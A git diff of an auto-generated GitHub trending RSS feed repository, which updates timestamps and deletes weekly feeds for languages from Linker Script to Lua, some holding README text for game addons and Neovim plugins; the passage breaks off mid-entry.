http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:14Z - Weekly Trending of Limbo in GitHub - - \ No newline at end of file diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml index a5ba84fa4c1..68ff9253a2b 100644 --- a/linker-script/daily/index.xml +++ b/linker-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linker Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:54Z + 2023-10-30T01:31:06Z Daily Trending of Linker Script in GitHub \ No newline at end of file diff --git a/linker-script/weekly/index.xml b/linker-script/weekly/index.xml deleted file mode 100644 index 1aa4a06c46e..00000000000 --- a/linker-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Linker Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:16Z - Weekly Trending of Linker Script in GitHub - - \ No newline at end of file diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml index 38f2b298c29..1d7c1feda25 100644 --- a/linux-kernel-module/daily/index.xml +++ b/linux-kernel-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linux Kernel Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:57Z + 2023-10-30T01:31:08Z Daily Trending of Linux Kernel Module in GitHub \ No newline at end of file diff --git a/linux-kernel-module/weekly/index.xml b/linux-kernel-module/weekly/index.xml deleted file mode 100644 index c1f10dae9b9..00000000000 --- a/linux-kernel-module/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Linux Kernel Module Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:17Z - Weekly Trending of Linux Kernel Module in GitHub - - \ No newline at end of file diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml index 1042126cad5..b248fc2695e 100644 --- a/liquid/daily/index.xml +++ b/liquid/daily/index.xml @@ -1,7 +1,7 @@ GitHub Liquid Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:56Z + 2023-10-30T01:31:09Z Daily Trending of Liquid in GitHub \ No newline at end of file diff --git a/liquid/weekly/index.xml b/liquid/weekly/index.xml deleted file mode 100644 index 62fa9bba4f9..00000000000 --- a/liquid/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Liquid Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:18Z - Weekly Trending of Liquid in GitHub - - \ No newline at end of file diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml index af21fdee5ef..2bd9176e439 100644 --- a/literate-agda/daily/index.xml +++ b/literate-agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:57Z + 2023-10-30T01:31:07Z Daily Trending of Literate Agda in GitHub \ No newline at end of file diff --git a/literate-agda/weekly/index.xml b/literate-agda/weekly/index.xml deleted file mode 100644 index cfe21182954..00000000000 --- a/literate-agda/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate Agda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:15Z - Weekly Trending of Literate Agda in GitHub - - \ No newline at end of file diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml index 6dc1f4b4f47..b1fa5f6413a 100644 --- a/literate-coffeescript/daily/index.xml +++ b/literate-coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:59Z + 2023-10-30T01:31:10Z Daily Trending of Literate CoffeeScript in GitHub \ No newline at end of file diff --git a/literate-coffeescript/weekly/index.xml b/literate-coffeescript/weekly/index.xml deleted file mode 100644 index 13a591e5c8c..00000000000 --- a/literate-coffeescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate CoffeeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:22Z - Weekly Trending of Literate CoffeeScript in GitHub - - \ No newline at end of file diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml index 018ff1f86e5..ce0da2c1b48 100644 --- a/literate-haskell/daily/index.xml +++ b/literate-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:58Z + 2023-10-30T01:31:10Z Daily Trending of Literate Haskell in GitHub \ No newline at end of file diff --git a/literate-haskell/weekly/index.xml b/literate-haskell/weekly/index.xml deleted file mode 100644 index aac9fae380c..00000000000 --- a/literate-haskell/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:19Z - Weekly Trending of Literate Haskell in GitHub - - \ No newline at end of file diff --git a/livescript/daily/index.xml b/livescript/daily/index.xml index 927305217ce..00f617b96df 100644 --- a/livescript/daily/index.xml +++ b/livescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LiveScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:01Z + 2023-10-30T01:31:11Z Daily Trending of LiveScript in GitHub \ No newline at end of file diff --git a/livescript/weekly/index.xml b/livescript/weekly/index.xml deleted file mode 100644 index ea22084b7d2..00000000000 --- a/livescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LiveScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:21Z - Weekly Trending of LiveScript in GitHub - - \ No newline at end of file diff --git a/llvm/daily/index.xml b/llvm/daily/index.xml index 3aa53396311..6d7d5ab8eeb 100644 --- a/llvm/daily/index.xml +++ b/llvm/daily/index.xml @@ -1,7 +1,7 @@ GitHub LLVM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:00Z + 2023-10-30T01:31:12Z Daily Trending of LLVM in GitHub \ No newline at end of file diff --git a/llvm/weekly/index.xml b/llvm/weekly/index.xml deleted file mode 100644 index 50a43307e82..00000000000 --- a/llvm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LLVM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:20Z - Weekly Trending of LLVM in GitHub - - \ No newline at end of file diff --git a/logos/daily/index.xml b/logos/daily/index.xml index ec24837655c..e21dffeac24 100644 --- a/logos/daily/index.xml +++ b/logos/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logos Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:03Z + 2023-10-30T01:31:14Z Daily Trending of Logos in GitHub \ No newline at end of file diff --git a/logos/weekly/index.xml b/logos/weekly/index.xml deleted file mode 100644 index 6dfd8041a76..00000000000 --- a/logos/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Logos Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:24Z - Weekly Trending of Logos in GitHub - - - stujones11/minetest-classes - 2023-10-29T01:56:24Z - tag:github.com,2023-10-29:/stujones11/minetest-classes - - <p>Player classes for minetest.</p><hr> - - \ No newline at end of file diff --git a/logtalk/daily/index.xml b/logtalk/daily/index.xml index 783268fceef..96c8aa71e5c 100644 --- a/logtalk/daily/index.xml +++ b/logtalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logtalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:02Z + 2023-10-30T01:31:15Z Daily Trending of Logtalk in GitHub \ No newline at end of file diff --git a/logtalk/weekly/index.xml b/logtalk/weekly/index.xml deleted file mode 100644 index 5c5261bcc25..00000000000 --- a/logtalk/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Logtalk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:25Z - Weekly Trending of Logtalk in GitHub - - \ No newline at end of file diff --git a/lolcode/daily/index.xml b/lolcode/daily/index.xml index 362f5c5c1a9..d83196ed1ef 100644 --- a/lolcode/daily/index.xml +++ b/lolcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub LOLCODE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:04Z + 2023-10-30T01:31:14Z Daily Trending of LOLCODE in GitHub \ No newline at end of file diff --git a/lolcode/weekly/index.xml b/lolcode/weekly/index.xml deleted file mode 100644 index 0bc1c8b38b6..00000000000 --- a/lolcode/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LOLCODE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:26Z - Weekly Trending of LOLCODE in GitHub - - \ No newline at end of file diff --git a/lookml/daily/index.xml b/lookml/daily/index.xml index 9773cb29c9a..ed720517642 100644 --- a/lookml/daily/index.xml +++ b/lookml/daily/index.xml @@ -1,7 +1,7 @@ GitHub LookML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:05Z + 2023-10-30T01:31:16Z Daily Trending of LookML in GitHub \ No newline at end of file diff --git a/lookml/weekly/index.xml b/lookml/weekly/index.xml deleted file mode 100644 index 5b061b3c808..00000000000 --- a/lookml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LookML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:23Z - Weekly Trending of LookML in GitHub - - \ No newline at end of file diff --git a/loomscript/daily/index.xml b/loomscript/daily/index.xml index fd882c4cf97..d7081202f9b 100644 --- a/loomscript/daily/index.xml +++ b/loomscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LoomScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:08Z + 2023-10-30T01:31:19Z Daily Trending of LoomScript in GitHub \ No newline at end of file diff --git a/loomscript/weekly/index.xml b/loomscript/weekly/index.xml deleted file mode 100644 index e712d45dce9..00000000000 --- a/loomscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LoomScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:27Z - Weekly Trending of LoomScript in GitHub - - \ No newline at end of file diff --git a/lsl/daily/index.xml b/lsl/daily/index.xml index 933095f65b9..8b40085adce 100644 --- a/lsl/daily/index.xml +++ b/lsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub LSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:07Z + 2023-10-30T01:31:17Z Daily Trending of LSL in GitHub \ No newline at end of file diff --git a/lsl/weekly/index.xml b/lsl/weekly/index.xml deleted file mode 100644 index 06e52cace77..00000000000 --- a/lsl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:31Z - Weekly Trending of LSL in GitHub - - \ No newline at end of file diff --git a/ltspice-symbol/daily/index.xml b/ltspice-symbol/daily/index.xml index ca87117e4a5..a3f1a6737a3 100644 --- a/ltspice-symbol/daily/index.xml +++ b/ltspice-symbol/daily/index.xml @@ -1,7 +1,7 @@ GitHub LTspice Symbol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:06Z + 2023-10-30T01:31:18Z Daily Trending of LTspice Symbol in GitHub \ No newline at end of file diff --git a/ltspice-symbol/weekly/index.xml b/ltspice-symbol/weekly/index.xml deleted file mode 100644 index 790a90cbc2f..00000000000 --- a/ltspice-symbol/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LTspice Symbol Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:28Z - Weekly Trending of LTspice Symbol in GitHub - - \ No newline at end of file diff --git a/lua/daily/index.xml b/lua/daily/index.xml deleted file mode 100644 index fae033f534d..00000000000 --- a/lua/daily/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Lua Daily Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:11Z - Daily Trending of Lua in GitHub - - - McPewPew/Bagnon - 2023-10-29T01:36:11Z - tag:github.com,2023-10-29:/McPewPew/Bagnon - - <p>Vanilla WoW - Bagnon combines all your bags into one big bag! (see installation instructions below)</p><hr><h2>Installation</h2> <p>This is a group of addons so just removing the -master isn't enough.<br> Unzip Bagnon-master.zip to your desktop or another folder,<br> open that folder and select all the folders inside it,<br> Cut and paster those into your /interface/addons/ folder.<br> Done!</p> <h3>Bagnon is a group of addons that improve the way the player manages his or her inventory.</h3> <p>Addons:<br> Bagnon - Displays your inventory in a single frame.<br> Banknon - Displays your bank in a single frame.<br> Bagnon_Core - Required for Bagnon and Banknon, the core files for the frames.<br> Bagnon_Options - A load on demand options menu for Bagnon.<br> Bagnon_Forever - Optional, Lets you view your bank from anywhere or the inventory/bank of your other characters.</p> <p>Features:<br> A single, customizable display for your inventory and one for your bank<br> Colorcoded item slots and borders:<br> Ammo and Soul Bag item slots are colored yellow<br> Profession bag slots are colored green<br> Keyring slots are colored orange<br> The borders for items are color coded based by their quality<br> View bank from anywhere (requires Bagnon_Forever)<br> View other characters' inventory/bank (requires Bagnon_Forever)<br> Dynamically Loaded - Bagnon and Banknon only load when needed.<br> Modular Design - Can pick and choose which functionality is wanted.</p> <p>Usage</p> <p>Slash Commands:<br> Commands can start with either /bagnon or /bgn.<br> /bgn - Shows the options menu, if available.<br> /bgn bags - Toggle the display of Bagnon.<br> /bgn bank - Toggle the display of Banknon.<br> /bgn delete <player> <realm> - Removes inventory data about the given player from Bagnon_Forever. Not specifying a realm will revert to the current realm. </realm> </player></p> <p>Showing Bagnon/Banknon:<br> When enabled, Bagnon and Banknon should be fully intergrated into the UI. It is also possible to view the frames via the keybindings that can be set or the slash commands.</p> <p>Moving Frames Around:<br> When unlocked, simply click and drag on the title portion of the frame (&lt;Player's&gt; Bank|Inventory).</p> <p>Hiding Specific Bags:<br> Shift-Click a bag within the frame to toggle the visibility of the items contained within that bag.</p> <p>Customizing:<br> Right click on the title portion of Bagnon or Banknon. A menu will pop up with a bunch of ptions for modifying the appearance of the frame.</p> <p>Viewing other character's data (requires Bagnon_Forever):<br> Click on the arrow button by Bagnon/Banknon's title. A menu will pop up giving a list of characters Bagnon knows about. Click on one and Bagnon will display the contents of that character's inventory/bank.</p> <p>Searching:<br> Double click on the title of Bagnon/Banknon. A search dialog will pop up.</p> <p>Bagnon was created by Tuller</p> - - - CosminPOP/TWThreat - 2023-10-29T01:36:11Z - tag:github.com,2023-10-29:/CosminPOP/TWThreat - - <p>Turtle WOW's own Threat Meter !</p><hr><h1>TWThreat v1.2.3</h1> <p>Threat Meter for Turtle WoW <br> Requirements: in <code>party</code> or <code>raid</code>, attacking <code>elite</code> creatures or <code>bosses</code>. <br></p> <h2>Changes</h2> <h3>v1.2.3</h3> <ul> <li>Fixes for TW patch 16.0</li> </ul> <h3>v1.2.2</h3> <ul> <li>Bar animation fixes.</li> <li>TankName bug fix.</li> <li>Configurable aggro warning threshold.</li> </ul> <h3>v1.2.1</h3> <ul> <li>Scale TankMode window with main window.</li> </ul> <h3>v1.2.0</h3> <ul> <li>Threat api v4, older versions don't work anymore.</li> <li><a href="https://github.com/shagu/pfUI">pfUI</a> integration for target frame glow and threat percentage.</li> <li>tankMode is back !</li> <li>New threat warning sound.</li> <li>New icons for settings/lock/close buttons.</li> </ul> <h3>v1.1.0</h3> <ul> <li>Threat api v3, older versions don't work anymore.</li> <li>Summoned creatures show the right threat values.</li> <li>Settings for in and out of combat frame opacity.</li> </ul> <h3>v1.0.2</h3> <ul> <li>Revamped settings window with tabs.</li> <li>New setting: frame scale.</li> <li>Enabled bar animation.</li> <li>Disabled Tankmode (still buggy).</li> </ul> <h3>v1.0.1</h3> <ul> <li>Faster way to get guid</li> <li>Tankmode window is now movable and stickable to top/bottom/left/right of main window.</li> <li>Tankmode window has test data in config mode.</li> <li>Better colors for Tankmode targets and current target is highlighted.</li> <li>Window title is more stable for healers.</li> <li>Removed bar animation (maybe only temporary).</li> <li>Clear bars if creature dies, for healers.</li> <li>Fix potential bug where Pull Agro At bar was not shown.</li> <li>Fix tankthreat bug when tank is not top in threat list.</li> </ul> <h2>Features</h2> <ul> <li>Threat, threat to pull aggro, TPS, % Max, % to pull</li> <li>Target glow based on threat for default game target frame</li> <li>Target threat percent indicator for default game target frame</li> <li>Various options including bar height and font style</li> <li>Full Screen Glow on high threat percentage</li> <li>Aggro Warning Sound on high threat percentage</li> <li>Customizable labels for TPS, Threat, Percent Max</li> <li>Tankmode !</li> </ul> <h2>Slashcommands</h2> <ul> <li><code>/twtshow</code></li> <li><code>/twt show</code></li> <li><code>/twt tankmode</code></li> </ul> <h2>Settings</h2> <p><img src="https://imgur.com/xBUdh2C.png" alt="settings"> <img src="https://imgur.com/MNdyp7w.png" alt="settings"> <img src="https://imgur.com/IT9wFXp.png" alt="settings"></p> <h3>Glow</h3> <p>Shows a colored aura ranging from Green/Yellow/Red on the Default UI's unit frame.<br> The color of the aura is based on your current threat threshold:<br></p> <ul> <li>green - yellow for 0% - 49%<br></li> <li>yellow - red for 50% - 100%<br></li> </ul> <p><img src="https://imgur.com/7rZt20N.png" alt="glow"> <br></p> <h3>Full Screen Glow</h3> <p>Red glowing screen edges when your threat is above 80%.<br> This feature is disabled in Tank Mode.<br> <br></p> <h3>Aggro Warning Sound</h3> <p>Plays a warning sound when you reach 99% threat.<br> This feature is disabled in Tank Mode.<br> <br></p> <h3>Percentages</h3> <p>Shows threat percentages on the default target frame.<br> <img src="https://imgur.com/jTlY6Gj.png" alt="percentages"> <br></p> <h3>Combat Show</h3> <p>Automatically shows the window when combat begins.<br> <br></p> <h3>Combat Hide</h3> <p>Automatically hides the window when combat begins.<br> <br></p> <h3>Tank Mode</h3> <p>Shows an additional window with targets that you are currently tanking and the name and threat percent of the next player in threat list for quick target swap (this mode disables Full Screen Glow and Aggro Warning Sound).<br><br> <img src="https://imgur.com/3eR28Zp.png" alt="tankmode"> <br></p> <h3>Show Name/TPS/Threat/% Max Label Row</h3> <p>Shows or hides the row above the threat bars. <br></p> <h3>Show TPS Column</h3> <p>Shows or hides the TPS column. <br></p> <h3>Show Threat Column</h3> <p>Shows or hides the Threat column. <br></p> <h3>Show Percent Column</h3> <p>Shows or hides the Percent Max column. <br></p> <h2>Contributors and testers</h2> <p><a href="https://armory.turtle-wow.org/#!/character/Henry">Henry</a>, <a href="https://armory.turtle-wow.org/#!/character/Laughadin">Laughadin</a>, <a href="https://armory.turtle-wow.org/#!/character/Faralynn">Faralynn</a>, <a href="https://armory.turtle-wow.org/#!/character/Draxer">Draxer</a> <br><br></p> <h2>Support</h2> <p>If you like my work consider buying me a coffee !<br> <a href="https://ko-fi.com/xerron">https://ko-fi.com/xerron</a></p> <p><a href="https://paypal.me/xerroner"><img src="https://img.shields.io/badge/Donate-PayPal-green.svg?sanitize=true" alt="Donate"></a></p> - - \ No newline at end of file diff --git a/lua/weekly/index.xml b/lua/weekly/index.xml deleted file mode 100644 index 14f1e03cb40..00000000000 --- a/lua/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Lua Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:31Z - Weekly Trending of Lua in GitHub - - - Project-Sloth/ps-dispatch - 2023-10-29T01:56:31Z - tag:github.com,2023-10-29:/Project-Sloth/ps-dispatch - - <p>QBCore Dispatch</p><hr><h1>PS Dispatch</h1> <p>Integrated with <a href="https://github.com/Project-Sloth/ps-mdt">ps-mdt</a></p> <p>For all support questions, ask in our <a href="https://www.discord.gg/projectsloth">Discord</a> support chat. Do not create issues on GitHub if you need help. Issues are for bug reporting and new features only.</p> <h1>Depedency</h1> <ol> <li><a href="https://github.com/qbcore-framework/qb-core">qb-core</a></li> <li><a href="https://github.com/overextended/ox_lib">ox_lib</a></li> <li><a href="https://github.com/Project-Sloth/ps-mdt">ps-mdt</a> - Optional but highly recommended.</li> </ol> <h1>Installation</h1> <ul> <li>Download ZIP</li> <li>Make sure your [qb-core}(https://github.com/qbcore-framework/qb-core) is fully updated to the latest version.</li> <li>Drag and drop resource into your server files</li> <li>Start resource through server.cfg</li> <li>Drag and drop sounds folder into interact-sound\client\html\sounds</li> <li>Configure your <a href="https://github.com/Project-Sloth/ps-dispatch#change-language">language</a></li> <li>Restart your server.</li> </ul> <h1>Preview</h1> <img src="https://github.com/Project-Sloth/ps-dispatch/assets/82112471/4a3d44b9-1629-457b-ba0e-a77c617aa993" width="600"> <img src="https://github.com/Project-Sloth/ps-dispatch/assets/82112471/7f4a7c76-f92d-4067-9fcb-7c78ee1b067c" width="600"> <img src="https://github.com/Project-Sloth/ps-dispatch/assets/82112471/01569df8-d5f6-417b-bcd4-422551eaa840" width="600"> <img src="https://github.com/Project-Sloth/ps-dispatch/assets/82112471/f2b111b2-60c3-428e-b12a-1bfed617f09e" width="800"> <h1>Change Language.</h1> <ul> <li>Place this <code>setr ox:locale en</code> inside your <code>server.cfg</code></li> <li>Change the <code>en</code> to your desired language!</li> </ul> <p><strong>Supported Languages:</strong></p> <table> <thead> <tr> <th><strong>Alias</strong></th> <th><strong>Language Names</strong></th> </tr> </thead> <tbody> <tr> <td>en</td> <td>English</td> </tr> <tr> <td>de</td> <td>German</td> </tr> <tr> <td>nl</td> <td>Dutch</td> </tr> <tr> <td>cs</td> <td>Czech</td> </tr> <tr> <td>pt-br</td> <td>Brazilian Portuguese</td> </tr> <tr> <td>es</td> <td>Spanish</td> </tr> </tbody> </table> <h1>Preset Alert Exports.</h1> <pre><code class="language-lua">- exports['ps-dispatch']:VehicleShooting(vehicle) - exports['ps-dispatch']:Shooting() - exports['ps-dispatch']:OfficerDown() - exports['ps-dispatch']:SpeedingVehicle(vehicle) - exports['ps-dispatch']:Fight() - exports['ps-dispatch']:InjuriedPerson() - exports['ps-dispatch']:DeceasedPerson() - exports['ps-dispatch']:StoreRobbery(camId) - exports['ps-dispatch']:FleecaBankRobbery(camId) - exports['ps-dispatch']:PaletoBankRobbery(camId) - exports['ps-dispatch']:PacificBankRobbery(camId) - exports['ps-dispatch']:PrisonBreak() - exports['ps-dispatch']:VangelicoRobbery(camId) - exports['ps-dispatch']:HouseRobbery() - exports['ps-dispatch']:DrugSale() - exports['ps-dispatch']:ArtGalleryRobbery() - exports['ps-dispatch']:HumaneRobery() - exports['ps-dispatch']:TrainRobbery() - exports['ps-dispatch']:VanRobbery() - exports['ps-dispatch']:UndergroundRobbery() - exports['ps-dispatch']:DrugBoatRobbery() - exports['ps-dispatch']:UnionRobbery() - exports['ps-dispatch']:YachtHeist() - exports['ps-dispatch']:CarBoosting(vehicle) - exports['ps-dispatch']:CarJacking(vehicle) - exports['ps-dispatch']:VehicleTheft(vehicle) - exports['ps-dispatch']:SuspiciousActivity() - exports['ps-dispatch']:SignRobbery() </code></pre> <h1>FAQ</h1> <ul> <li>There are no calls showing on dispatch or mdt list. <ul> <li> <p>Make sure you have a job type specified in your qbcore/shared/jobs.lua like:</p> <p><img src="https://github.com/Project-Sloth/ps-dispatch/assets/9503151/7834e878-5020-4fcc-8864-03d44120c160" alt="image"></p> </li> <li> <p>Make sure that you're using the correct job type as leo and make sure your <a href="https://github.com/qbcore-framework/qb-core">qb-core</a> is fully updated to the latest version.</p> </li> <li> <p>On shared/config.lua make set Config.Debug = true to test calls as police officer.(ONLY to be used as testing, make sure to disable on live production)</p> </li> </ul> </li> </ul> <h1>Credits</h1> <ul> <li><a href="https://github.com/OK1ez">OK1ez</a></li> <li><a href="https://github.com/CandrexDev">Candrex</a></li> <li><a href="https://github.com/Lenzh">Lenzh</a></li> <li><a href="https://github.com/LeSiiN">LeSiiN</a></li> <li>Project Sloth Team</li> </ul> - - - folke/zen-mode.nvim - 2023-10-29T01:56:31Z - tag:github.com,2023-10-29:/folke/zen-mode.nvim - - <p>🧘 Distraction-free coding for Neovim</p><hr><h1>🧘 Zen Mode</h1> <p>Distraction-free coding for Neovim &gt;= 0.5</p> <p><img src="https://user-images.githubusercontent.com/292349/118454007-b7d8c900-b6ac-11eb-8263-015a8d929644.png" alt="image"></p> <h2>✨ Features</h2> <ul> <li>opens the current buffer in a new full-screen floating window</li> <li>doesn't mess with existing window layouts / splits</li> <li>works correctly with other floating windows, like LSP hover, WhichKey, ...</li> <li>you can dynamically change the window size</li> <li>realigns when the editor or Zen window is resized</li> <li>optionally shade the backdrop of the Zen window</li> <li>always hides the status line</li> <li>optionally hide the number column, sign column, fold column, ...</li> <li>highly customizable with lua callbacks <code>on_open</code>, <code>on_close</code></li> <li>plugins: <ul> <li>disable gitsigns</li> <li>hide <a href="https://github.com/tmux/tmux">tmux</a> status line</li> <li>increase <a href="https://sw.kovidgoyal.net/kitty/">Kitty</a> font-size</li> <li>increase <a href="https://alacritty.org/">Alacritty</a> font-size</li> <li>increase <a href="https://wezfurlong.org/wezterm/">wezterm</a> font-size</li> </ul> </li> <li><strong>Zen Mode</strong> is automatically closed when a new non-floating window is opened</li> <li>works well with plugins like <a href="https://github.com/nvim-telescope/telescope.nvim">Telescope</a> to open a new buffer inside the Zen window</li> <li>close the Zen window with <code>:ZenMode</code>, <code>:close</code> or <code>:quit</code></li> </ul> <h2>⚡️ Requirements</h2> <ul> <li>Neovim &gt;= 0.5.0 <ul> <li>❗ <strong>Zen Mode</strong> uses the new <code>z-index</code> option for floating windows</li> <li>❗ only builds <strong>newer than May 15, 2021</strong> are supported</li> </ul> </li> <li><a href="https://github.com/folke/twilight.nvim">Twilight</a> is optional to dim inactive portions of your code</li> </ul> <h2>📦 Installation</h2> <p>Install the plugin with your preferred package manager:</p> <h3><a href="https://github.com/folke/lazy.nvim">lazy.nvim</a></h3> <pre><code class="language-lua">-- Lua { "folke/zen-mode.nvim", opts = { -- your configuration comes here -- or leave it empty to use the default settings -- refer to the configuration section below } } </code></pre> <h2>⚙️ Configuration</h2> <p><strong>Zen Mode</strong> comes with the following defaults:</p> <pre><code class="language-lua">{ window = { backdrop = 0.95, -- shade the backdrop of the Zen window. Set to 1 to keep the same as Normal -- height and width can be: -- * an absolute number of cells when &gt; 1 -- * a percentage of the width / height of the editor when &lt;= 1 -- * a function that returns the width or the height width = 120, -- width of the Zen window height = 1, -- height of the Zen window -- by default, no options are changed for the Zen window -- uncomment any of the options below, or add other vim.wo options you want to apply options = { -- signcolumn = "no", -- disable signcolumn -- number = false, -- disable number column -- relativenumber = false, -- disable relative numbers -- cursorline = false, -- disable cursorline -- cursorcolumn = false, -- disable cursor column -- foldcolumn = "0", -- disable fold column -- list = false, -- disable whitespace characters }, }, plugins = { -- disable some global vim options (vim.o...) -- comment the lines to not apply the options options = { enabled = true, ruler = false, -- disables the ruler text in the cmd line area showcmd = false, -- disables the command in the last line of the screen -- you may turn on/off statusline in zen mode by setting 'laststatus' -- statusline will be shown only if 'laststatus' == 3 laststatus = 0, -- turn off the statusline in zen mode }, twilight = { enabled = true }, -- enable to start Twilight when zen mode opens gitsigns = { enabled = false }, -- disables git signs tmux = { enabled = false }, -- disables the tmux statusline -- this will change the font size on kitty when in zen mode -- to make this work, you need to set the following kitty options: -- - allow_remote_control socket-only -- - listen_on unix:/tmp/kitty kitty = { enabled = false, font = "+4", -- font size increment }, -- this will change the font size on alacritty when in zen mode -- requires Alacritty Version 0.10.0 or higher -- uses `alacritty msg` subcommand to change font size alacritty = { enabled = false, font = "14", -- font size }, -- this will change the font size on wezterm when in zen mode -- See alse also the Plugins/Wezterm section in this projects README wezterm = { enabled = false, -- can be either an absolute font size or the number of incremental steps font = "+4", -- (10% increase per step) }, }, -- callback where you can add custom code when the Zen window opens on_open = function(win) end, -- callback where you can add custom code when the Zen window closes on_close = function() end, } </code></pre> <h2>🚀 Usage</h2> <p>Toggle <strong>Zen Mode</strong> with <code>:ZenMode</code>.</p> <p>Alternatively you can start <strong>Zen Mode</strong> with the <code>Lua</code> API and pass any additional options:</p> <pre><code class="language-lua">require("zen-mode").toggle({ window = { width = .85 -- width will be 85% of the editor width } }) </code></pre> <h2>🧩 Plugins</h2> <h3>Wezterm</h3> <p>In order to make the integration with wezterm work as intended, you need to add the following function to your wezterm config:</p> <pre><code class="language-lua">wezterm.on('user-var-changed', function(window, pane, name, value) local overrides = window:get_config_overrides() or {} if name == "ZEN_MODE" then local incremental = value:find("+") local number_value = tonumber(value) if incremental ~= nil then while (number_value &gt; 0) do window:perform_action(wezterm.action.IncreaseFontSize, pane) number_value = number_value - 1 end overrides.enable_tab_bar = false elseif number_value &lt; 0 then window:perform_action(wezterm.action.ResetFontSize, pane) overrides.font_size = nil overrides.enable_tab_bar = true else overrides.font_size = number_value overrides.enable_tab_bar = false end end window:set_config_overrides(overrides) end) </code></pre> <p>If you need this functionality within tmux, you need to add the following option to your tmux config:</p> <pre><code class="language-zsh">set-option -g allow-passthrough on </code></pre> <p>See also: <a href="https://github.com/wez/wezterm/discussions/2550">https://github.com/wez/wezterm/discussions/2550</a></p> <h2>Inspiration</h2> <ul> <li>Visual Studio Code <a href="https://code.visualstudio.com/docs/getstarted/userinterface#_zen-mode">Zen Mode</a></li> <li>Emacs <a href="https://github.com/joostkremers/writeroom-mode">writeroom-mode</a></li> </ul> - - - Project-Sloth/ps-adminmenu - 2023-10-29T01:56:31Z - tag:github.com,2023-10-29:/Project-Sloth/ps-adminmenu - - <p>An admin menu for QBCore.</p><hr><h1>ps-adminmenu</h1> <p>The Admin Menu crafted by <a href="https://github.com/OK1ez">OK1ez</a> and our 